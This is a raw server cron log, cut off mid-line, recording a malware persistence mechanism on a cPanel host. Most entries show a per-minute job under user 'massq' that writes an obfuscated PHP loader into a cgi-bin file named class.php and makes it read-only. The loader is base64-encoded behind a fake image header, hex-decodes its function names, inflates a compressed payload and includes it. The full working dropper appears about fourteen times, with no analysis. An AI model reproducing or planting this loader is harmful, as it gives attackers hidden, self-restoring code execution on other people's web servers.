Nov 13 09:45:01 server CROND[29757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:46:01 server CROND[30681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:47:01 server CROND[31694]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:48:01 server CROND[32557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:49:01 server CROND[910]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:50:01 server CROND[1790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:50:01 server CROND[1792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:50:01 server CROND[1793]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:50:01 server CROND[1794]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 09:50:01 server CROND[1795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 09:51:01 server CROND[2812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:52:01 server CROND[3679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:53:01 server CROND[4537]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:54:01 server CROND[5396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:55:01 server CROND[6262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:55:01 server CROND[6263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:55:01 server CROND[6264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:56:01 server CROND[7274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:57:01 server CROND[8137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:57:01 server CROND[8138]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 09:58:01 server CROND[9157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 